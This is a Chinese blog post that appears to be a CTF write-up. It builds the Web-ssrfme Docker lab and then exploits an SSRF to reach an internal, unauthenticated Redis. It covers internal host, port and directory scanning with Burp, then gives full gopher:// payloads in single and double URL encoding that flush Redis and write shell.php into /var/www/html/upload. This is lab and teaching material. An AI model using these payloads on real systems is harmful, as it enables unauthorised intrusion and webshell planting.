当前位置: 首页 > news >正文

二月公开赛 宝塔搭建Web-ssrfme环境以及漏洞复现

一.环境搭建

1.1宝塔安装docker

1.2将Web-ssrfme压缩文件放入Ubuntu并解压

root@eden-virtual-machine:/# mkdir Web-ssrfmeroot@eden-virtual-machine:/Web-ssrfme# ll
total 2956
drwxr-xr-x  2 root root    4096 4月  18 02:43 ./
drwxr-xr-x 24 root root    4096 4月  18 02:41 ../
-rw-r--r--  1 root root 3015411 4月  18 02:43 web-ssrfme.tar.gzroot@eden-virtual-machine:/Web-ssrfme# tar -zxvf web-ssrfme.tar.gzroot@eden-virtual-machine:/Web-ssrfme# ll
total 2960
drwxr-xr-x  3 root root    4096 4月  18 02:50 ./
drwxr-xr-x 24 root root    4096 4月  18 02:41 ../
drwxr-xr-x  4 root root    4096 2月  23  2022 web-ssrfme/
-rw-r--r--  1 root root 3015411 4月  18 02:43 web-ssrfme.tar.gzroot@eden-virtual-machine:/Web-ssrfme# cd web-ssrfme/root@eden-virtual-machine:/Web-ssrfme/web-ssrfme# ll
total 20
drwxr-xr-x 4 root root 4096 2月  23  2022 ./
drwxr-xr-x 3 root root 4096 4月  18 02:50 ../
-rw-r--r-- 1 root root  168 2月  17  2022 docker-compose.yml
drwxr-xr-x 3 root root 4096 2月  23  2022 redis/
drwxr-xr-x 4 root root 4096 2月  17  2022 web/root@eden-virtual-machine:/Web-ssrfme/web-ssrfme# mv docker-compose.yml redis/ web/ /Web-ssrfme/root@eden-virtual-machine:/Web-ssrfme/web-ssrfme# cd ..root@eden-virtual-machine:/Web-ssrfme# ll
total 2972
drwxr-xr-x  5 root root    4096 4月  18 02:58 ./
drwxr-xr-x 24 root root    4096 4月  18 02:41 ../
-rw-r--r--  1 root root     168 2月  17  2022 docker-compose.yml
drwxr-xr-x  3 root root    4096 2月  23  2022 redis/
drwxr-xr-x  4 root root    4096 2月  17  2022 web/
drwxr-xr-x  2 root root    4096 4月  18 02:58 web-ssrfme/
-rw-r--r--  1 root root 3015411 4月  18 02:43 web-ssrfme.tar.gzroot@eden-virtual-machine:/Web-ssrfme# rm -r web-ssrfmeroot@eden-virtual-machine:/Web-ssrfme# rm web-ssrfme.tar.gz root@eden-virtual-machine:/Web-ssrfme# ll
total 20
drwxr-xr-x  4 root root 4096 4月  18 03:01 ./
drwxr-xr-x 24 root root 4096 4月  18 02:41 ../
-rw-r--r--  1 root root  168 2月  17  2022 docker-compose.yml
drwxr-xr-x  3 root root 4096 2月  23  2022 redis/
drwxr-xr-x  4 root root 4096 2月  17  2022 web/为了兼容可以删除docker-compose.yml中的version: "3"

1.3构造本地镜像

root@eden-virtual-machine:/Web-ssrfme# docker-compose build
#报以下这个错误可以通过更换web和redis中的Dockerfile里的源解决
# 更换软件源为阿里云镜像源
RUN sed -i 's|http://archive.ubuntu.com/ubuntu/|http://mirrors.aliyun.com/ubuntu/|g' /etc/apt/sources.list=> ERROR [redis  3/13] RUN apt-get -y update     && apt-get install -y --no-install-recommends         apt-transpo  0.9s
------                                                                                                                    > [redis  3/13] RUN apt-get -y update     && apt-get install -y --no-install-recommends         apt-transport-https         ca-certificates         software-properties-common     && apt-get clean     && rm -rf /var/lib/apt/lists/*:            
0.715 Reading package lists...                                                                                            
0.728 E: The method driver /usr/lib/apt/methods/https could not be found.                                                 
0.728 E: The method driver /usr/lib/apt/methods/https could not be found.
0.728 E: The method driver /usr/lib/apt/methods/https could not be found.
0.728 E: The method driver /usr/lib/apt/methods/https could not be found.
------
failed to solve: process "/bin/sh -c apt-get -y update     && apt-get install -y --no-install-recommends         apt-transport-https         ca-certificates         software-properties-common     && apt-get clean     && rm -rf /var/lib/apt/lists/*" did not complete successfully: exit code: 100

更换后

root@eden-virtual-machine:/Web-ssrfme# docker-compose build
Compose can now delegate builds to bake for better performance.To do so, set COMPOSE_BAKE=true.
[+] Building 222.3s (33/33) FINISHED                                                                       docker:default=> [redis internal] load build definition from Dockerfile                                                           0.0s[+] Building 2/2? redis  Built                                                                                                      0.0s ? web    Built  
#成功安装
root@eden-virtual-machine:/Web-ssrfme# docker images
REPOSITORY         TAG       IMAGE ID       CREATED              SIZE
ctf/ssrfme         latest    dba46cf12d6d   About a minute ago   392MB
web-ssrfme-redis   latest    7b3392c7a0b8   3 minutes ago        429MB
#镜像已生成

1.4宝塔面板拉取创建容器

剩下的跟着宝塔的提示走即可,注意端口不能倍占用防火墙放行

1.5验证

看到这段代码说明环境没问题

二.发现漏洞

2.1分析代码

分析查看代码发现正则过滤了file,dict,源地址,localhost,发现如果存在info这个参数就会打印phpinfo,打印phpinfo可能会有一些对我们有用的信息

成功找到内网ip:172.17.0.3:80

然后我们就可以用burp suite来探测该网段存活的主机

2.2burp suite探测

探测主机ip

抓包发送到intruder模块,从1-255开始扫

可以看到在172.17.0.2上还有一台主机,并且上面还运行着http服务,那么我们可以尝试扫描一下这台主机的端口

探测端口号

因为我这个burp suite是社区版,扫描太慢了,所以这里开一下上帝模式从6300扫到6400

6379这个端口明显的redis服务的报错,说明该主机上还运行着redis服务那么我们试试redis的未授权访问攻击

然后我们在探测一下都有哪些目录

探测目录

github上随便找的字典扫出来一个upload目录

我们进入容器看看有没有这个目录

说明这个目录真实存在

三.redis的未授权访问攻击

3.1构造payload

使用Gopherus这个工具来构造我们的payload,这个工具在github上是开源的但是有点老了用的时python2,网站如果没改应该都是在/var/www/html下的这个只有自己猜了。所以我猜的物理路径为:/var/www/html/upload

源码为

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

一点要将127.0.0.1改为你的ip这里我改为172.17.0.2

gopher://172.17.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

圈圈没转多久说明解码有问题,在进入浏览器时要先进行一次url解码所以我们在源码的基础上再进行二次url编码看看

gopher://172.17.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252422%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

这里转圈圈卡住了说明正在解码脚本成功写入

相关文章:

  • 认知,信息技术
  • CSS伪元素
  • C++ 网络层接口设计与实现:基于 Socket 编程
  • IE之路专题11.IS-IS专题
  • 第五章、SpringBoot与消息通信(一)
  • 【Spring Boot】把jar包导入本地系统
  • Java学习手册:Java并发编程最佳实践
  • 代码学习总结(五)
  • spring中如何在一个插入操作执行成功后在执行另一个操作
  • Word 中“母版页”的等效机制
  • pip list | grep paho-mqtt 如何查看这个包的保存路径
  • C++学习:六个月从基础到就业——面向对象编程:接口设计
  • 新手避坑+高效入门:用 DeepSeek 从零攻克编程与网站搭建
  • Docker容器虚拟化存储架构
  • 数据结构之稀疏矩阵与三元组表示法
  • 树莓派超全系列教程文档--(31)config.txt常用选项介绍
  • 游戏一:俄罗斯方块简易版
  • vue3+element-ui-plus+el-table样式
  • 基于WebRTC技术的EasyRTC:支持任意平台设备的实时音视频通信解决方案
  • git本地项目上传github
  • 尹锡悦涉嫌发动内乱案第二次庭审举行
  • 抗美援朝老战士、华西医院精神科学术带头人之一袁德基逝世
  • 特写|为何这么多人喜欢上海半马,答案藏在他们的笑容里
  • 观察|如何推动再保险交易规模上量增加话语权,行业在临港新片区共倡议
  • 2025年世界互联网大会亚太峰会人工智能大模型论坛举行
  • 特朗普政府将对中国建造船只加征“港口费”,外交部:损人害己